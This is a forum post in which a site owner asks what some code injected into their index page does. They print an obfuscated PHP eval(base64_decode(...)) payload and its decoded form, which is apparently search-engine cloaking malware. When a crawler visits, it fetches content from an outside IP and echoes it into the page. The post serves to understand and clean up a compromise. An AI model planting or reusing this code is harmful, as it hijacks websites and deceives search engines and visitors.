Please help understand this code


Posted on 16th Feb 2014 07:03 pm by admin

I noticed the index page on my site was modified this morning and found this code inserted at the bottom of the page:

Code: <!--ddgbsre_erd_sdd--><?php eval(base64_decode("aWYoc3RyaXBvcygkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sICdnb29nbGUnKSBvciBzdHJpcG9zKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwgJ3lhaG9vJykgb3Igc3RyaXBvcygkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sICdtc24nKSBvciBzdHJpcG9zKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwgJ2xpdmUnKSkNCnsNCiAgJHIgPSAnJzsNCiAgaWYoJGY9QGZzb2Nrb3BlbignOTEuMjA3LjQuMTgnLDgwLCRlLCRlciwxMCkgYW5kIEBmcHV0cygkZiwgIkdFVCAvbGlua2l0L2luLnBocD9kb21haW49IiAuIHVybGVuY29kZSgkX1NFUlZFUlsiU0VSVkVSX05BTUUiXSkgLiAiJnVzZXJhZ2VudD0iIC4gdXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgLiAiIEhUVFAvMS4wXHJcbkhvc3Q6IDkxLjIwNy40LjE4XHJcblxyXG4iKSkNCiAgd2hpbGUoICRsID0gZnJlYWQoJGYsIDEwMjQpKSAkciAuPSAkbDsNCiAgQGZjbG9zZSgkZik7DQogICRwPXN0cnBvcygkciwiXHJcblxyXG4iKTsgZWNobyBzdWJzdHIoJHIsJHArNCk7DQp9"));

Did you know?Explore Trending and Topic pages for more stories like this.
I printed out what is decoded:
Code: if(stripos($_SERVER['HTTP_USER_AGENT'], 'google') or stripos($_SERVER['HTTP_USER_AGENT'], 'yahoo') or stripos($_SERVER['HTTP_USER_AGENT'], 'msn') or stripos($_SERVER['HTTP_USER_AGENT'], 'live')) { $r = ''; if($f=@fsockopen('91.207.4.18',80,$e,$er,10) and @fputs($f, "GET /linkit/in.php?domain=" . urlencode($_SERVER["SERVER_NAME"]) . "&useragent=" . urlencode($_SERVER['HTTP_USER_AGENT']) . " HTTP/1.0rnHost: 91.207.4.18rnrn")) while( $l = fread($f, 1024)) $r .= $l; @fclose($f); $p=strpos($r,"rnrn"); echo substr($r,$p+4); }

Can someone please interpret what this code is trying to do? I noticed that the IP address is coming from the Ukraine.

Thank you
No comments posted yet

Your Answer:

Login to answer
309 Like 12 Dislike
Previous forums Next forums
Other forums

How to have a log of all the status a VIM document had been ?
Hi guys,

I’m using SAP Invoice Management plugin and the /OPT/VIM_ANALYTICS transa

Form Help
Here is the form:

Line number On/Off | Expand/Contract<? include("../include/sess

Running External Scripts
I am very new to PHP and am not even sure what I'm asking is possible. I have just installed mediaW

b+ tree
Hi
can every body help me about b+ tree ?(insert & delete)

noob question
i traying to do a php form with auto replay for both(me and the user who send me a mail),

a u

Problems with strings containing
Hey all,

I have encountered something strange in a script. I am trying to write an XML heade

Curl & sessions PLS HELP
Hello,

I have a problem with curl and sessions and i will try to explain the best i could.

PHP Surveys
I really would like some advice.

If you have a client come to you asking for a survey to be d

Query issues
I probably have this setup wrong well I know I do because nothing is showing up now. What I want is

PHP mail() returns true but doesn't work
First off I apologize if this is a newbie question, and I generally don't like asking questions that

Sign up to write
Sign up now if you have flare of writing..
Login   |   Register
Follow Us
Indyaspeak @ Facebook Indyaspeak @ Twitter Indyaspeak @ Pinterest RSS



Play Free Quiz and Win Cash